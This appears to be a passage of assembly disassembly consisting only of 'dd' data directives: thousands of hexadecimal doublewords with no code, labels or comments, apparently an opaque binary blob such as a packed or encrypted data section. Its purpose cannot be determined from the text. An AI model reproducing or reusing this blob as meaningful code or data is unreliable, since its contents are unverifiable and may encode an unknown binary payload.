		dd 0FF7F4B3Eh, 5397A205h, 0FD13A088h, 371F191Dh, 3C6B6040h
		dd 6690E912h, 4AE3857Ch, 0ABE4740h, 7E452AC3h, 3E3D07B0h
		dd 0E6C0DEADh, 4C0F79CDh, 2BB518C5h, 4AF0C1BAh,	0CD416E7Eh
		dd 57090D71h, 5540A8A5h, 759CA901h, 7947044Fh, 865C41BAh
		dd 204E426Bh, 25018CBCh, 2EB93A52h, 0B82069DDh,	446AE5A9h
		dd 575A1A06h, 0B0BD3B90h, 7C59074h, 313D4EB9h, 5DE92541h
		dd 0FA94A893h, 49712715h, 582F7276h, 6968144Eh,	83CAE554h
		dd 255880E8h, 5615509h,	41FAE912h, 688A30AAh, 83C6624Bh
		dd 1F34D76h, 54271FEEh,	3BC6017Eh, 93C944F2h, 0C504CBF2h
		dd 0D5E1098Fh, 4E4FC1EEh, 28AD2FDCh, 0DF04A694h, 0C53C7320h
		dd 8EB1051h, 171C5826h,	790D925Eh, 0DB5B9C4Ch, 81FBE2C5h
		dd 8918E779h, 0DF9B69ADh, 0EB7D5D4Eh, 0A426F32Ah, 3E071200h
		dd 11D82D45h, 2E356048h, 5A466C9Bh, 4E5C11Ch, 0C02EDCCh
		dd 0D5F72608h, 344F0101h, 2F2130AFh, 6141E2E0h,	92D52D6h
		dd 3A4FC5EDh, 55CBF540h, 7111C510h, 17535A93h, 8AC004D2h
		dd 1031EAC9h, 0E83FFCA8h, 0D06A9BCDh, 4FEE40h, 6EF2F781h
		dd 0BA52530Fh, 255E7B39h, 0A8F9D976h, 6D850A27h, 5D1340Ah
		dd 0A8A0A139h, 0B7FB208Eh, 12CE8D58h, 0BB00D0B9h, 520A1341h
		dd 0F9905C29h, 6A71FC95h, 49E984F4h, 0F30106A5h, 0C95E9598h
		dd 55A7779Dh, 5809409Ch, 0D3330B68h, 0ED0E9621h, 19DD2595h
		dd 0D04131B1h, 0E6734A2Bh, 0DF307558h, 735BC963h, 0AFAAC72h
		dd 84AB1F4Ch, 89F9889Eh, 0CE97013Ch, 291709DDh,	0C45ACFDAh
		dd 0C330F681h, 4E41F67Fh, 83A5CDB8h, 0B1A1CA0h,	0F97CA51Bh
		dd 515E04C2h, 59708254h, 57C32348h, 0BB6F0D03h,	697B2221h
		dd 0AF52947Ch, 0A32440E8h, 583FD00Fh, 892A2DF7h, 0D6EE57D9h
		dd 41BBA75Fh, 7A545010h, 490C8059h, 0E96E2419h,	0F179D01Ah
		dd 58E82F07h, 0D7E2B2ADh, 4A88A3F6h, 0FC002D21h, 0A070FDCFh
		dd 31E93F09h, 8296568Fh, 5C306853h, 0DA8BDA79h,	855D71E0h
		dd 531D9A68h, 4487EB85h, 9B2D05A2h, 58F5EAE9h, 0E65F4E64h
		dd 20547DE5h, 0AE4C6883h, 767B24A1h, 0BC83B42h,	0FD421A75h
		dd 797BFF81h, 1F803EC9h, 9707E957h, 0A25A268Bh,	0E6020F7h
		dd 0B8B6475Ah, 3BC18101h, 0D8206035h, 2E0085E9h, 0F901390Eh
		dd 0BE08B968h, 10C26F37h, 5655597Dh, 47CD1CFDh,	63024967h
		dd 7AA3D0E5h, 4B5C0D05h, 0D6066C14h, 90552CC5h,	3966D0B7h
		dd 808B8450h, 0D097DBF7h, 8CCF20F6h, 0C231DBBDh, 75F4A3DDh
		dd 69036B83h, 59EB2702h, 35225EFAh, 5AD4888Dh, 3FD49D6Fh
		dd 16FAADC4h, 0F604A49Ah, 0EB0111D3h, 0EFE32B0h, 0AF45C46Fh
		dd 9D3DB461h, 864E4E05h, 6D5D7969h, 0D5F60023h,	9B2CE886h
		dd 70C6302Dh, 3F9F5CCAh, 0E95A439Dh, 562507E3h,	0E42BF731h
		dd 6819C9DDh, 336F3BE5h, 312C8B7Fh, 808C904h, 52502F94h
		dd 42AE585Ah, 0D0314AB0h, 5049E7Ah, 2FA76330h, 44AF69C4h
		dd 0E4DC8867h, 8740C033h, 6F744C01h, 0E0645E2Fh, 793A0D41h
		dd 0D6A87BF9h, 0FA5946C1h, 0D80B3BFFh, 70DDFE51h, 2588864h
		dd 6D2041h, 5A2DF681h, 0F33198F4h, 6A61009Fh, 79030DACh
		dd 60589729h, 66E364B6h, 0A450FB68h, 8481F3EAh,	13AB75E9h
		dd 3A8EAA1Eh, 0E1C6E912h, 885FF0C2h, 678C799Fh,	1E3BA28h
		dd 7BE95BCAh, 0CE30BCF7h, 572FD2A2h, 0A4590C5Ch, 962C0775h
		dd 0AD8A0F05h, 0A0916C2h, 87E44A26h, 0ABAF589h,	5714121Dh
		dd 4F99CA8Dh, 26FB8B80h, 0EE7F4BBFh, 0B5E93561h, 88CBC86Bh
		dd 6C015A26h, 3AC3508h,	0D01CE5BAh, 0A427AAE5h,	15FF36D0h
		dd 55F02EE9h, 29E9CE51h, 0D5979864h, 483E7B9h, 62814281h
		dd 29C45B2Dh, 16C888EAh, 86BC3C4Ah, 33D842C9h, 0C9D9F995h
		dd 5913A377h, 0C66BAF6Ch, 0AFB23EECh, 1A7FE698h, 4E266859h
		dd 0B260B702h, 0FFEA8081h, 0E1D9F2CCh, 57E9EE8Bh, 0EB5F6B72h
		dd 277B97A9h, 71A09EBBh, 7D855575h, 0C4A20FBFh,	0EFACCB9Fh
		dd 8F12189Eh, 5A01F088h, 8B8B753h, 51D85BF8h, 0A7F42FE9h
		dd 2A42C46Ah, 0F0959E7Ah, 7DABA2BAh, 0B2F631Ch,	6BD5C6B1h
		dd 0AD7D79CBh, 1FA8AB5h, 267B6F68h, 62DD256Fh, 4B65574Eh
		dd 0BF9BF225h, 0C6FEE560h, 1E33F1B7h, 9FCA6853h, 0C4CFE851h
		dd 4124D2Dh, 578654D2h,	7EAC29EFh, 37D81A80h, 0E93A5FA0h
		dd 9ADE0583h, 0A0AABE8Eh, 5B9CF8FDh, 1840BA1Ch,	0E28127D4h
		dd 675A1222h, 785027Ch,	0FCA68E9h, 3BA2657Fh, 967FE5ADh
		dd 4D48FCFFh, 0ED3BF46Bh, 0B98AFC96h, 0EF607C49h, 4C63F651h
		dd 56072D7Fh, 22627200h, 0E913295Fh, 0EAEDA1CEh, 0C797B33Dh
		dd 5984AE49h, 87E90802h, 5AE8CCD2h, 0B3C001B5h,	7FDA88CDh
		dd 0C429521h, 9BF8380h,	4F07C006h, 8C4FDDF8h, 3A886720h
		dd 0BB9ED276h, 0B771C6CFh, 82E4C6Eh, 0CB93B5E7h, 0E6F8CCEFh
		dd 0B72FF741h, 253912B6h, 0F085B8B2h, 0E9E6BE5Eh, 0AB96C6D5h
		dd 6A928391h, 0BD555000h, 0EC60B217h, 880027F8h, 0E974535Eh
		dd 0E3A4EBB0h, 0AB4C2201h, 50E6685Fh, 17745F36h, 8B21A933h
		dd 77B5045Bh, 6EA11399h, 17633A20h, 0B9FE7CAAh,	9F851096h
		dd 6589D05Bh, 0D315F01Eh, 0D69AD001h, 801394A3h, 0DF75BA65h
		dd 0E2D00BFFh, 981D4E5Fh, 18A162D0h, 24FD4B5Ah,	74BC5FD6h
		dd 20BA892Ch, 4BD4BF18h, 0D22342F8h, 482DFB0Dh,	0D1A5D4BCh
		dd 0EA5BCFF4h, 3E2EF4BCh, 0E9E04DD8h, 20CED8AAh, 69C1C55Ch
		dd 50F3BF42h, 0D9C369F1h, 0B5897FF4h, 567946E4h, 0FD8215E8h
		dd 514FD1F9h, 116DEF5Bh, 4EB1912Fh, 0F1287B66h,	40AA4127h
		dd 850F03F0h, 6ABB892Fh, 33904065h, 528B033Eh, 63E9E688h
		dd 685DBD04h, 73CD5428h, 4E28F0E1h, 5CCDE64Ah, 196C0054h
		dd 0F581183Fh, 0A352EEEDh, 890FA8A6h, 9B9F6F29h, 834164C0h
		dd 2220E96Fh, 0C38A2E94h, 0EF019235h, 0E1C10830h, 12A59208h
		dd 1BB00Eh, 2B036E67h, 0CA090109h, 2EAB28E9h, 0FBCA3DB9h
		dd 0CE81BCA5h, 110E1BBAh, 7316F230h, 3458BD5Ch,	0F3C1F655h
		dd 0E5BC15A8h, 4FB7358h, 0F8B6D38Bh, 320069FCh,	0C120165Ah
		dd 0EEF207E6h, 0BD0F950Ch, 775C5C58h, 32B49018h, 0C2B33C7Bh
		dd 4F503660h, 5C6E4226h
		dd 71D08300h, 2AFA29BDh, 5CAD6E9h, 27956857h, 8107AED1h
		dd 164251E7h, 7995833Fh, 47C20770h, 0BC162E9h, 8A82987Dh
		dd 0FE5E51C4h, 15B4B6Bh, 0F070CA82h, 521BD40Bh,	0CC252C7Ch
		dd 2FFEBD65h, 7FC72362h, 5F138CF1h, 0F7015361h,	5E12716Fh
		dd 3AB20093h, 22069A88h, 0D677E61Dh, 6E04A74Fh,	7A82C7FEh
		dd 33DB6CBEh, 912C8493h, 1EFD5CF2h, 0CCF9956Fh,	0A522ED20h
		dd 89F30674h, 0DC394A7Ch, 4F27930Fh, 69DE4906h,	0AE3A2DD9h
		dd 0AC20F131h, 0B683C86Fh, 0A16FC441h, 792675h,	16A42A5h
		dd 160EF181h, 0B9B6A6C2h, 4EE4E7Ah, 82E1C018h, 0BC5CE2B6h
		dd 39084B26h, 0B905174Dh, 0EB4E7A09h, 0F5301B05h, 0DBCB9006h
		dd 1A97A1C1h, 0B858F1C0h, 3DD8319Bh, 65A68BF1h,	8EFC2E2Ch
		dd 0E77AEA04h, 9B9C814Dh, 40667155h, 1223B788h,	0E9175679h
		dd 0A820CBF9h, 1F67BFC9h, 5BD8019Dh, 4A00EBD1h,	2E5A8366h
		dd 0E216905h, 0D2D68D3h, 0C00AB9E4h, 0BC46B1EEh, 0E9426206h
		dd 2593D435h, 3C4EDDD3h, 435AABF6h, 552644Fh, 44FBCD33h
		dd 0B3F9DB2Fh, 8634C425h, 2C8C2BC0h, 2C2E4963h,	70662950h
		dd 727E974Ch, 469E7752h, 66060687h, 32541D68h, 5B1A6D3h
		dd 7C2D1974h, 4D55273Dh, 22A42734h, 0FFC39473h,	7B040146h
		dd 93545F4Dh, 0FC12E377h, 31AABC22h, 0A0926A2Bh, 0F520C14Fh
		dd 0C7DAA07Ah, 1C27121Eh, 0B2B00102h, 7357B1Dh,	52068FDh
		dd 0DB0317CEh, 1CACFC7Dh, 31924122h, 0CA1F86BCh, 4CEFC9D9h
		dd 8E496382h, 90D7B4ABh, 28C58BB7h, 17E88524h, 5E477B8h
		dd 0EEABD6C0h, 1962FC30h, 5E35782Fh, 5EFBF6CBh,	1C8A42C0h
		dd 6EEFC40Dh, 0EF162Ah,	0D5E78054h, 51135266h, 70B849B1h
		dd 99F72814h, 0C167E034h, 65113022h, 4008ED3Ah,	0C46D9FB3h
		dd 0ADA4185Bh, 0C39A17CEh, 6805846h, 0BB4AE950h, 0B1BDC113h
		dd 3FFDA9Eh, 0C235C8D5h, 46B09FB0h, 79979E2Bh, 28D1656h
		dd 663568A5h, 2997A459h, 25C5DC3h, 608405F3h, 0F97533B3h
		dd 7AE95844h, 291F134Dh, 61293BAh, 0E402EA84h, 0C40548D8h
		dd 7AAAC864h, 80D1F601h, 31E8D3C1h, 8814C3B5h, 0F2D859CAh
		dd 16502C70h, 3770B6ADh, 0CDEFF04Bh, 2B586118h,	7E3921C2h
		dd 0B81E25h, 0BD03CA6Bh, 744BF724h, 610F84F8h, 12E100Eh
		dd 0D9EE02D6h, 6E7C632Eh, 5B098110h, 3359148Bh,	7B0CE961h
		dd 6F3E296Bh, 4052DC98h, 0CE7289BCh, 59165F90h,	5EBE4B9h
		dd 0A1FDE9A8h, 0C7A12BBFh, 81D1752Ah, 49892F5h,	3C2E5980h
		dd 0A9655C21h, 7FBD55B1h, 0AA34FCD6h, 3BA54ACh,	4E895F4Fh
		dd 2EC60C06h, 801A3423h, 63FF0984h, 7690D870h, 0F901F0B0h
		dd 63685F0Ch, 0F521E954h, 92ED293Ah, 0DEFB560Ch, 535C0080h
		dd 671C1EBBh, 0B0829844h, 0D27920E3h, 305D3412h, 49AA6A12h
		dd 3A240FB1h, 54FDAA54h, 0F9AA05A7h, 835E12BCh,	40968AFCh
		dd 65D4DE48h, 0F05B217Ch, 0D2594FF8h, 3F31F650h, 20FC6B7Fh
		dd 0B9058438h, 54323BB1h, 0CCF092EAh, 0E24AC2C4h, 60D7CEAAh
		dd 3609FD0Ch, 57E9126Ch, 123DA2B8h, 0EFE97381h,	8F167603h
		dd 9C024E74h, 0A7DBDCEEh, 9A666B41h, 6631D7FBh,	9EE56BC3h
		dd 0BF238530h, 0BA562005h, 0C1AB4774h, 0B9C48DD3h, 4C1894C5h
		dd 0C0C105C2h, 0C8C09371h, 4EE907E1h, 89C504B8h, 9FB382CFh
		dd 0C5D9C57h, 32FED1BBh, 0C5C4C87Ah, 0C9BADEF7h, 8B3D63C2h
		dd 5C0FF899h, 0D6223D5Fh, 6DE9C64Fh, 0D686597Bh, 2F72FB5Eh
		dd 253CE4D9h, 0CDB584Fh, 0E212A408h, 0E9019689h, 0F7C27182h
		dd 0D1098CD2h, 0DC516308h, 6F86BCF0h, 0C71EE25h, 5027F674h
		dd 3903DE54h, 267197FFh, 3B3149A8h, 0E2B75AB8h,	46F870ADh
		dd 78E698C4h, 16B3CFEEh, 8D201310h, 30B00E4Eh, 0C7954F05h
		dd 0AF302CC2h, 59293A2Ah, 0C6567A0h, 50137387h,	9C62FAD2h
		dd 10C080Dh, 0F5835F14h, 74308701h, 0E9379F70h,	0EEB9B485h
		dd 3715D306h, 6A02222Bh, 89A84369h, 24F74D5h, 58050768h
		dd 0E30EAF5h, 0C4E9A5E4h, 2DAA1094h, 0DCD2FF99h, 310446D5h
		dd 0B7E049D8h, 398B431Eh, 0FA82F79Ah, 726484FAh, 70639838h
		dd 0E9C20AB3h, 16D87E2Eh, 1E2AFF55h, 0CCD965Ah,	4B76BD00h
		dd 6A31623Dh, 258AB838h, 461834DBh, 0E2044247h,	384A2904h
		dd 8F8CB2ABh, 39DA8172h, 97662C4Ch, 7DAA6802h, 0A7EC1767h
		dd 4BBB5B5Fh, 0C2FC2773h, 0D90E9E1h, 5C25981h, 3E69935Eh
		dd 0C9F6500Eh, 5F725D91h, 377B8398h, 68570CC0h,	5E8125B5h
		dd 89E7A041h, 8FF41B28h, 24DEC830h, 1E511E05h, 94290F1Fh
		dd 3150072Dh, 0C4563F1Dh, 2E3E2EC8h, 0E971DF02h, 36FFA670h
		dd 8B0F1368h, 0BFAB52F5h, 0A2C80BD2h, 80AB24EDh, 3179F2D4h
		dd 49D6E4CEh, 0D16FA5Ah, 29AED50h, 983E92EBh, 2D60D5F4h
		dd 74AB268h, 4A50328Ch,	0BE08DC92h, 485894A9h, 2064789Dh
		dd 20A4FA27h, 68E640B2h, 33FD5F4Bh, 25D0E510h, 0D2637DACh
		dd 1954A4D2h, 0D7894D1Dh, 834FA9D5h, 0C0B85029h, 413F54Bh
		dd 0C02DC5BEh, 5680EA68h, 4AB7E946h, 4D4B9084h,	475E5113h
		dd 7EE06617h, 56669737h, 0A1569307h, 8B838910h,	0F55E05C0h
		dd 0EB61456Fh, 89FA8784h, 9741305Dh, 0AD756A4Ah, 6FE0F4BBh
		dd 0E90C0AE1h, 0AD1835CDh, 0A340A090h, 705A9547h, 0C0686E09h
		dd 96E500F9h, 711A1C0Ch, 4DF1B749h, 26CC8F08h, 65940902h
		dd 9D9B1C77h, 7C21DD9h,	6BA5D53Fh, 4E3DACA9h, 68312EBFh
		dd 2119E114h, 756B4086h, 0B694FB6Ch, 2FBDA312h,	0DD88DD17h
		dd 0B5DE6082h, 87E6C028h, 0F4A5B227h, 0CA40788Ch, 5EC31DC7h
		dd 0DF126C03h, 547D009h, 9C38D22Dh, 391FC171h, 37E73A95h
		dd 7FC90896h, 25066805h, 0AD80CE37h, 0BD634010h, 0F413217Bh
		dd 0AAF9BA52h, 0BC7365C4h, 20EDC958h, 6F9FB863h, 0D490344h
		dd 3CF03FC8h, 28E1B0F9h, 2817D7C2h, 1C7ED9D9h, 3F0F9F75h
		dd 1B1C6FBh, 2D270B63h,	0A493D560h, 93F46EF3h, 0A2B94343h
		dd 4CB44A86h, 0F05B2DE5h, 0B3159FC9h, 4543E90Dh, 0B1BF43Bh
		dd 8EB76E4Eh, 6C295748h, 84131183h, 2E9485AFh, 0BB63C0FBh
		dd 4C1D9F6h, 0B00A840Fh, 65C1E964h, 81120692h, 6FC9CBF5h
		dd 1C17E0FDh, 0B135AC3Ch, 54FC9AB5h, 63229CBAh,	73485B36h
		dd 5FEA4E1Bh, 9E29495Ch, 5DAF81F9h, 0F25F7B32h,	958F7A87h
		dd 0FADE1CF5h, 0C010C286h, 83C007E7h, 0FE5C08C3h, 127A2076h
		dd 1EE2959h, 0A277ED9Bh, 5752603Ch, 0BB6707B6h,	763A2731h
		dd 81E13Ah, 553BA0C6h, 880F330Ah, 0C2AFA4E0h, 94DA40CDh
		dd 80109D81h, 6495CA22h, 0DA011210h, 30A2AB53h,	0B2DEE983h
		dd 2D5E2A12h, 0CF6ADD6h, 153F2271h, 6002A97Ah, 0D4E90291h
		dd 361E4ADh, 5AAF3590h,	28F1DEBDh, 5E987277h, 75D520A1h
		dd 0EE2F3725h, 30E56001h, 0A1F8178Dh, 3F209FC2h, 3E227BC7h
		dd 0F7010913h, 0C086810h, 446802E9h, 5F10B088h,	4A840F60h
		dd 8A8FA6A4h, 0C875B5Fh, 4C5D820Bh, 0C2397C7Eh,	9B5D4043h
		dd 9B2C2B04h, 0CBFE0322h, 91F9C386h, 5387297h, 28090208h
		dd 0D86B0082h, 95A29508h, 7514D994h, 0D9E0054h,	0B4BE1EEAh
		dd 1F090E01h, 2097B5E9h, 0E43CC5FBh, 43C09D68h,	0A5032405h
		dd 4EE9E63Fh, 0B3250FD5h, 0ACD2EF3Dh, 2CCA1C22h, 784F742Dh
		dd 98971995h, 501DCD6Dh, 0EC5F72Ah, 52853A1h, 0B709A872h
		dd 5CD95FA1h, 1779CAF8h, 17E7A02h, 0D6CE24Fh, 0A06F39h
		dd 0D9035980h, 48A1161h
		dd 8AEE04A4h, 60C925E2h, 0BD61B7CFh, 0EAB787CCh, 5AD85D6Dh
		dd 0F3F3C85Fh, 0F93E8D5Ah, 0BDC06B5Ah, 0B1B4BCE9h, 68644F3Bh
		dd 23AC126Fh, 2C8ABD7h,	3D545C53h, 33142619h, 4FC3646Dh
		dd 0A141D5ECh, 1E601761h, 99FCF4EEh, 27ADBB99h,	605F0F41h
		dd 7F3CA9E9h, 68409EF6h, 0F4B36A12h, 4EC31510h,	6DB38CBFh
		dd 0F6405D62h, 1DA25F54h, 0E040C7FEh, 569625D7h, 9CE2CF93h
		dd 1EBA5580h, 29E47271h, 38E9CA3Bh, 2CEB4BA3h, 6813522Dh
		dd 2060781Ch, 48CA62CCh, 0C834D57Ah, 6A84FF0Dh,	164792BAh
		dd 4FBAF0D7h, 0D9482D3Ch, 76AB2EE9h, 7D5C8AC2h,	166A660h
		dd 13753432h, 3BF7D8E9h, 0C2B4D5F9h, 82F2C433h,	0C56FC0EEh
		dd 2578FC8Dh, 2C73E5D8h, 0E9400402h, 34E6B0BAh,	7C2CCE12h
		dd 8E08FB09h, 8CBABC86h, 16D12858h, 205A2EFCh, 0BB59083Dh
		dd 6DC68439h, 0D0AF6B51h, 0F707EBA1h, 0C604DB6Ch, 5E84FA2Ah
		dd 21B8A05Ch, 5D5BDE2Dh, 3FF7006h, 0F0040CDEh, 0B080908Ah
		dd 134B2B69h, 10F50144h, 0A4C0817h, 0B9DF84h, 0B02332BDh
		dd 0E5810472h, 0AB141563h, 0D265B71Fh, 1216A22Ah, 324B5DBFh
		dd 0E55F4925h, 0E47393BFh, 0AA01CB8Bh, 6812CF36h, 0A62B72ECh
		dd 237400CEh, 48E97F1Ah, 0E1249980h, 60D1F759h,	0DA7231B0h
		dd 8D369h, 670BC306h, 8E0F1346h, 4ADE4E4Ch, 0D7AA85E4h
		dd 0AC89D193h, 578C975Eh, 0A8F1CDFAh, 4944C5B9h, 0E031708Fh
		dd 0BCF6B757h, 406B4251h, 9D4AF3EAh, 34F63AE2h,	0F5A78F6Bh
		dd 16D78E09h, 4D689821h, 6BC6FC9Bh, 2B2F1D4Fh, 8BD69A56h
		dd 6AE4053Dh, 8FC68AFDh, 0EF5E835Bh, 6701ACD5h,	452375EAh
		dd 481942Fh, 0B83BE908h, 97BD4EE0h, 0BFCF2F12h,	793FFE31h
		dd 5D618799h, 2BC3ED5Fh, 0B21677BFh, 227B40F2h,	1B63BCA8h
		dd 0C5AD6A9h, 0D034877Eh, 9909C728h, 220A0566h,	0F5C8EAA8h
		dd 6C1EEDACh, 1CCE7C18h, 4F096436h, 18C28822h, 0BB3AC441h
		dd 0EA74C36Dh, 37630968h, 9CC5558Dh, 0E9AA273Fh, 96248014h
		dd 0FB40B50h, 375EE4D0h, 0FC4C6F28h, 0F4800E86h, 5FEB65BDh
		dd 3DB781FBh, 0FF3EA788h, 0F34AE14h, 21C60ABDh,	2F4A945Eh
		dd 464FE874h, 43FAB62h,	873D93BAh, 58C3AD55h, 47E9C56Dh
		dd 0CBF68A0h, 597E418Ah, 4E129E22h, 49727291h, 56DF41CFh
		dd 0CCE68100h, 1AB82313h, 69000112h, 0F031B35Dh, 0BE5C4BE9h
		dd 6ACD690h, 4B2F7B87h,	0C681D05Eh, 7A7941F5h, 9F3A5895h
		dd 6ECFEBF0h, 0C1C6113h, 0F360FA31h, 83739508h,	85DD2909h
		dd 0E94B06AAh, 0A68D7BD5h, 967F6980h, 69929CB8h, 0AA5D050Bh
		dd 5E02A2F1h, 5512B768h, 1696986Ch, 463B763Fh, 799577EAh
		dd 6BFCC905h, 8846B305h, 91D381FBh, 4CB12695h, 0FD508BF8h
		dd 0EB2DA9E8h, 6B5E7702h, 8805F801h, 0A82ECE07h, 0D426ABA4h
		dd 840E170Bh, 9F88A4B2h, 905154E4h, 2A6B027Ch, 374C681Eh
		dd 0DAB849A0h, 620FB62Ch, 0C512BD55h, 18FA3CFBh, 614C12ADh
		dd 2D69E300h, 115E1C41h, 221FD29h, 0C9820804h, 0D530029Bh
		dd 80D545F5h, 840FC5FEh, 99C4600Eh, 34FE0405h, 0A1FBB80Eh
		dd 0A04B5954h, 468EB802h, 715C2934h, 6E684802h,	0E783FD09h
		dd 61257032h, 0E5ECA20Ah, 986D7F45h, 6A03E984h,	0E4535FC8h
		dd 4ABB7BF8h, 0BC991325h, 5DC0F424h, 4F3D1217h,	4136AD55h
		dd 0A7B23E08h, 0A6685604h, 8F30BF74h, 7836381Eh, 27FE5D15h
		dd 7805C594h, 0A03A8F20h, 0F3316815h, 7655A772h, 77A1B34h
		dd 5E251344h, 0EDCCC44Eh, 5802766Ah, 3178742Ah,	0C46C5711h
		dd 496CA331h, 3535BF7Ch, 12D01160h, 445EE80h, 13B27627h
		dd 5AC48AFBh, 9AFFC904h, 78DE813h, 0D4F6C6E4h, 412FEB5Eh
		dd 0EE208825h, 39BF80BDh, 3A445516h, 0A435C5FBh, 19D23EDEh
		dd 0C7E511BFh, 0CD9AAEC5h, 6E6DE16Eh, 3848F790h, 0D1155E54h
		dd 87425B1Bh, 0FF584F35h, 0E28CFE1Bh, 5B00157Bh, 0E853A52Dh
		dd 0F001125Fh, 0EA1F0155h, 0DA32C826h, 9EBDAD5h, 8C38058h
		dd 9509BE7Eh, 653D5E01h, 0AE5395C2h, 410F3E6Ch,	7C6285CDh
		dd 92BF3F64h, 0A6F405EFh, 0B090DEBAh, 0B5E644E9h, 0F1E9E874h
		dd 7568856Fh, 12FE4455h, 0F32AEC1Dh, 183138Fh, 0AC4C906Ah
		dd 750F3A5Bh, 2B4EF387h, 2D557A56h, 328270E9h, 2F77B8B4h
		dd 791564E7h, 0FD4C3DBAh, 6B4B3A33h, 2F25DFC6h,	5FDFFC59h
		dd 911011B6h, 0D0977C8Ch, 0A1E55EFCh, 49C127E3h, 0AEB91084h
		dd 860B9E58h, 6D760F3h,	0B124AA4h, 733D4D10h, 7A5D4F09h
		dd 2A2400F2h, 0D529A59Fh, 595D8CE9h, 4CE52F20h,	8ED0591h
		dd 0AA3A100Dh, 2F08E750h, 808E3458h, 0E0CDB0A5h, 0ADE912C6h
		dd 3924AB8Dh, 82FBB3EEh, 53C42DE9h, 67D4AFF6h, 0F167F0Ch
		dd 2D5924CDh, 1A2F3844h, 7801878h, 844FE95Dh, 0AC4DD70Dh
		dd 6238E541h, 0C42EA8F1h, 5AF5CA18h, 0ACD813AFh, 9EB54088h
		dd 4043E859h, 6E62BAD3h, 0E0BDE20Bh, 0FD64A97Bh, 2DF18421h
		dd 39090EA9h, 44BF1420h, 17EF20EFh, 90007D90h, 8114842Bh
		dd 2519E4E1h, 0B6FC0147h, 3EF0B634h, 4F515CB4h,	0B544FF4Ah
		dd 8A1679D5h, 88257E7Ch, 5D344AC6h, 7BFB8A0h, 0C95DE26h
		dd 0E81E12E1h, 0E9281D6Ch, 5C30B3CBh, 24BE1DB1h, 89A0CA22h
		dd 3E3E4E91h, 65B59644h, 5E4FCBEAh, 61164BA2h, 4B92A73Ah
		dd 0AB1F95BFh, 68D0E7A1h, 0A2374AE7h, 561A10A6h, 28755827h
		dd 5E1393B9h, 87C888FBh, 0DE48B66Bh, 0E53C8C22h, 2F9A5A20h
		dd 9898CBE0h, 0B990B176h, 0EFE2894Fh, 2D352D84h, 0D787DB42h
		dd 0DB33CF46h, 105910F1h, 62697BAEh, 61CAB298h,	488E48F8h
		dd 0B0F3835Fh, 0A304EA29h, 0CF31DB71h, 0AB7D1905h, 57FA8735h
		dd 100BF853h, 250B980h,	0A32E1FA0h, 75E46F13h, 0B52B5737h
		dd 0E48872C4h, 70351D42h, 85EA8168h, 2AFF11F6h,	9F503E4h
		dd 8CFCBCEEh, 0F833A04h, 408D6980h, 40282E7Bh, 22B82CF8h
		dd 0BEA5BBA3h, 54825A89h, 1F783A37h, 0DB2038C2h, 547DF8BFh
		dd 5FBC624Ah, 0BC93FC59h, 0D5A62EBAh, 3C122996h, 0F7E54500h
		dd 4031D361h, 0CE4A3ADDh, 2F62A6CCh, 0D2809A22h, 38EE7C32h
		dd 747B82B5h, 20FAE017h, 856594D7h, 0EA2D6858h,	93B02A16h
		dd 567400BEh, 0F131E421h, 297095Eh, 0FC7B6F82h,	3E9580B4h
		dd 7EBB66D3h, 0A80FCB13h, 0F7D803FAh, 7A0743DBh, 71E3608Bh
		dd 0F9E94B70h, 907D95ADh, 0F1AEDA1Ah, 0BC945FE6h, 2E4571FDh
		dd 0BED243B2h, 0B95BFAE7h, 54A0A1B8h, 0FF15024h, 8AF4A4BFh
		dd 823864h, 0C90DD8F7h,	0EEE3E41h, 2F6B4718h, 0A1292E7h
		dd 0E31D0BFBh, 5BAA5440h, 625FE94Fh, 0F26824A9h, 0FCF41758h
		dd 69FB845Bh, 0F1AA05CCh, 0A1943999h, 0BB3AF801h, 55D2E232h
		dd 873DFEE9h, 39F280C7h, 5D6BE482h, 5495CF6Ch, 63F85046h
		dd 56DEE7C9h, 0C20A37ECh, 94FE7E69h, 0B7E35552h, 2ED70F4Ch
		dd 6C44DFC0h, 0A4BB1394h, 5D952976h, 6EC1E91h, 0E95409B8h
		dd 94D77D10h, 406817CFh, 9C08CC2Dh, 27AC554Bh, 0E1C9E5E7h
		dd 9B937AD7h, 0B3EB8DABh, 950D162Bh, 0BDABD8BAh, 0F9684E0Fh
		dd 71EA094Dh, 0DCF9A7E4h, 6762E90Ch, 83DD35Ch, 6603B84Fh
		dd 0D3E52C5Ah, 0B7F88326h, 9C4E64Bh, 7E988B7h, 7EBF7878h
		dd 536E88F4h, 0C4745B16h, 4EC5F7EBh, 0BEE26438h, 0C95C18D6h
		dd 1E4EEB68h, 0FB73B8CCh, 0CFC42C28h, 1BBBCBF7h, 0DB069Ah
		dd 147CBBB1h, 0EBD15443h, 58D3F727h, 4AAE09C5h,	44DF5EBAh
		dd 515604E3h, 0F8D389E9h
		dd 503BCB10h, 0BDB84A9Dh, 4FB5E60h, 0FE53F42Eh,	0AB5A488Ah
		dd 86288B39h, 997E28B0h, 0E92D433Bh, 12295C0Bh,	439C123h
		dd 0EFD97EF0h, 0D8C1A1E5h, 50C21E78h, 1DE0DDB4h, 6B91F3E0h
		dd 0E8BD2944h, 0ED5EB694h, 0E9508108h, 5922A634h, 0E79C903h
		dd 0C0740AAh, 2298273Dh, 3FC1E9C7h, 6D7076BAh, 0EF48129Ch
		dd 0ED9EC271h, 94C50889h, 93126688h, 0FF8DBA7Fh, 5A7C25C8h
		dd 16FA520Dh, 0D874C579h, 0F52D68A8h, 2AFD4679h, 1CAC6C8Ch
		dd 565A8EE2h, 0A25C0121h, 70D348h, 399C4E76h, 0FD055568h
		dd 8067830Dh, 7C5E506h,	0F6FE704h, 0EAFC3D80h, 3EC3714Bh
		dd 0BAA311C0h, 0CFEE6D81h, 7009BD4Eh, 17C05442h, 2E0649EBh
		dd 6B97F677h, 30944EBAh, 0BEEB8001h, 51B05066h,	0E623C3C1h
		dd 0ADC41A17h, 98680BB6h, 0E25A983Bh, 15E4B785h, 6873ED05h
		dd 30FA6248h, 0E1E9D74Eh, 0B58A434Bh, 0F53FF055h, 8BEEE1E4h
		dd 8E55E6EAh, 80BE53C1h, 2C310D84h, 5CE94D27h, 81B1A63Dh
		dd 68F22EF1h, 0E1AF0401h, 5A0B018Eh, 0F4DE4F7h,	4B2B8915h
		dd 52351398h, 0F01305B3h, 0BDACA4B1h, 2B260605h, 6984CB29h
		dd 0E59080Dh, 0D91118E4h, 46EB0C1Eh, 0CF0D1C08h, 0C1BBE1Ch
		dd 3008A56Fh, 0D9309D9h, 2E88BA00h, 64F7337Dh, 0AA60FAD2h
		dd 49350B3h, 0ED1CAF11h, 8B7C86A4h, 0CDAE25C9h,	307B2957h
